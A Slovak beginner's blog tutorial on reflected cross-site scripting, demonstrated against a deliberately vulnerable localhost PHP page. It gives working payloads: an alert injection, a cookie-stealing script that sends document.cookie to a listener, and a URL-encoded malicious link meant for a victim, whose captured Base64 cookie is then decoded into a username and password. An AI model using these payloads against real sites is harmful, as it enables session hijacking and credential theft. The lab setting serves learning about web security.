XSS, alebo “Cross-Site Scripting” je často využívaná technika na zmanipulovanie slabo ošetrených zadávacích políčok. Cieľom môže byť mnoho vecí – napríklad zobrazenie nami naprogramovaého obsahu alebo krádež používateľských údajov. V dnešnom článku bude však cieľom sa najmä zabaviť, keďže XSS je ľahko pochopiteľný koncept pre kohokoľvek so základnou znalosťou HTML, takže je vhodným “introm” pre zvedavcov a začínajúcich hackerov.
Svet kyberbezpečnosti je tak široký ako ďaleko dovidíte. Nespočetné množstvo techník, nástrojov a slabín z neho robia dobrodružstvo každý deň a ak ste niekedy pozerali seriály ako C.S.I. Miami, alebo N.C.I.S., pravdepodobne pravdepodobne máte o hackeroch rôzne šialené predstavy.
Takže čo to vlastne hackeri robia? Dalo by sa to prirovnať k malým deťom: ich úlohou je zničiť, poškodiť alebo inak znehodnotiť čokoľvek im dáte do ruky. Na rozidel od malých detí to ale robia o niečo sofistikovanejšie.
Poďme k veci!
Vezmime si napríklad túto super-bezpečnú stránku, ktorá zobrazuje obrázky na základe linku, ktorý zadáte do políčka:
![](https://www.michalpavlis.sk/wp-content/uploads/2022/10/Screenshot-2022-10-23-at-11.37.30.png)
Ak cez túto stránku načítame obrázok, môžeme sa zamyslieť trochu nad tým, ako asi vyzerá kód.
![](https://www.michalpavlis.sk/wp-content/uploads/2022/10/Screenshot-2022-10-23-at-11.40.29.png)
Na základe vyhľadávacieho políčka úplne hore sme zistili, že web jednoducho vezme to, čo sme zadali, hodí to do GET url parametra z tamaď to načíta na stránke. Môžeme si teda tipnúť, že php kód na pozadí môže cca vyzerať nejak takto:
<?php
$url = $_GET["pic"];
echo "< img src='$url' width='150px' >"
?>
Vidíme teda, že kód nie je ošetrený pred zlomyseľným vstupom, môžeme sa teda skúsiť dostať von zo “src=” atribútu a zobraziť používateľovi výstražné okienko s hackerským textom. Je to sranda!
Skúsme teda do políčka zadať jendoducho znak ” ‘ ” a sledovať čo sa stane so zdrojovým kódom webu:
![](https://www.michalpavlis.sk/wp-content/uploads/2022/10/Screenshot-2022-10-23-at-11.56.37.png)
So starým dobrým “inspect elementom” vo vyhľadávači zobrazíme kód a uvidíme následujúce:
![](https://www.michalpavlis.sk/wp-content/uploads/2022/10/Screenshot-2022-10-23-at-11.57.02.png)
Vzhľadom na to, že kód na back-ende chcel vložiť link medzi dve apostrofy, no zároveň neočakával, že by to isté skúsil používateľ, podarilo sa nám v html kóde vytvoriť chybu. Zistili sme teda, že stránka je zraniteľná voči technike XSS!
Poďme teda našu hackerskú “nálož” viac prepracovať, a donútiť stránku, aby na nej zobrazila niečo iné ako obrázok – napríklad okienko s upozornením. Využijeme teda error, ktorý sme apostrofom vytvorili a pomocou atribútu “onerror” rozkážeme stránke, čo urobiť ak nastane chyba. Na konci taktiež pridáme HTML koment, ktorý zakomentuje zvyšok elementu, čím nám dá viac kontroly nad kódom:
' onerror='alert("You have been hacked!");'> <!----
Skúsme túto nálož hodiť do okienka a počkať, čo sa stane:
![](https://www.michalpavlis.sk/wp-content/uploads/2022/10/Screenshot-2022-10-23-at-12.11.55.png)
![](https://www.michalpavlis.sk/wp-content/uploads/2022/10/Screenshot-2022-10-23-at-12.28.22.png)
Presne ako sme predpokladali! Stránka vôbec netušila, že ide o hackerský útok a s kľudom zobrazila nami zadaný odkaz – to by na správne ošetrenej stránke nebolo možné.
Gratulujem ktokoľvek si. Si oficiálne hacker/ka!
Ako ukradnúť heslo pomocou XSS
Príklad vyššie by nám ako hackerom nebol veľmi užitočný. Maximálne by sme mohli link s infikovaným GET url parametrom poslať kamošovi a spôsobiť mu stres z fiktívneho hackerského útoku. To je ale nuda. Poďme skúsiť niečo užitočnejšie.
Na tomto príklade sa pokúsime ukradnúť používateľovsi jeho Cookies, obsahujúce citlíve údaje – prihlasovacie meno a heslo!
Ale najprv kúsok nutnej teórie o Cookies:
V jednoduchosti, Cookies sú kúsky zašifrovaných dát uložené vo vašom prehliadači. Slúžia na identifikáciu vášho prehliadača a využívajú sa napríklad na to, aby ste sa nemuseli zakaždým prihlasovať do svojho účtu na danej webstránke. S Cookies sa serveru identifikujete a ten vás pustí ďalej bez prihlásenia.
– Niekto niekde na Stack Overflow
Vráťme sa teda späť ku našej predošlej náloži a upravme ju tak, aby namiesto odkazu o útoku zobrazila používateľove Cookies:
' onerror='alert(document.cookie);'> <!----
![](https://www.michalpavlis.sk/wp-content/uploads/2022/10/Screenshot-2022-10-23-at-12.34.11.png)
Krása. Útok ide presne podľa nášho plánu.
Čo ďalej? To, čo aktuálne máme stále nie je veľmi použiteľné, keďže s týmto útokom sme zobrazili iba svoje keksíky. My sme predsa hackeri čo znamená, že bez loginu a hesla práca nekončí.
Vytvoríme si hackerský server, ktorý bude čakať na náhodnom porte, kým sa naň niekto pripojí:
![](https://www.michalpavlis.sk/wp-content/uploads/2022/10/Screenshot-2022-10-23-at-12.39.24.png)
Opäť upravíme nálož. Tentokrát sa pokúsi napojiť na náš hackerský server a načítať neexistujúci súbor. Ako meno súboru zvolíme Cookie našej obete. Tentokrát však nevyužijete “onerror”:
'>
<script>
document.getElementById("picture").src="http://127.0.0.1:4999/"
+ document.cookie
</script> <!----
Vizuálne sa na webe nič nezmenilo. Inšpekciou zdrojáku však vidíme, že nálož fungovala:
![](https://www.michalpavlis.sk/wp-content/uploads/2022/10/Screenshot-2022-10-23-at-13.15.31.png)
Nie len to! Keď prejdeme do konzoly a skontrolujeme náš hackerský server vidíme na ňom dopyt po súbore obsahujúci používateľský Cookie!
V reálnom útoku by hacker poslal URL s takto infikovaným GET dopytom obeti. Potom by už len čakal kým obeť link otvorí, čím obdrží jej Cookie súbor.
Infikovaná URLčka by teda vyzerala takto:
http://localhost:8000/show_pic.php?pic=%27+%3E+%3Cscript%3Edocument.getElementById%28%22picture%22%29.src%3D%22http%3A%2F%2F127.0.0.1%3A4999%2F%22%2Bdocument.cookie%3C%2Fscript%3E%3C%21----
Dopyt na našom serveri po otvorení linku by vyzeral takto:
![](https://www.michalpavlis.sk/wp-content/uploads/2022/10/Screenshot-2022-10-23-at-13.21.39.png)
Oranžovou farbou vidíme náš loot. Posledným krokom k úspešnému obdržaniu mena a hesla je dekódovať Cookie. Podľa znakov na konci by sme si mohli tipnúť, že ide o Base64 encoding. Teóriu vyskúšame na jednom z dostupných online dekóderov:
![](https://www.michalpavlis.sk/wp-content/uploads/2022/10/Screenshot-2022-10-23-at-13.23.27-1024x381.png)
Ako vidíme, nielenže sme úspešne obdržali meno a heslo, podarilo sa nám získať aj priznanie viny k vražde.
Teraz sme už naozaj hackermi!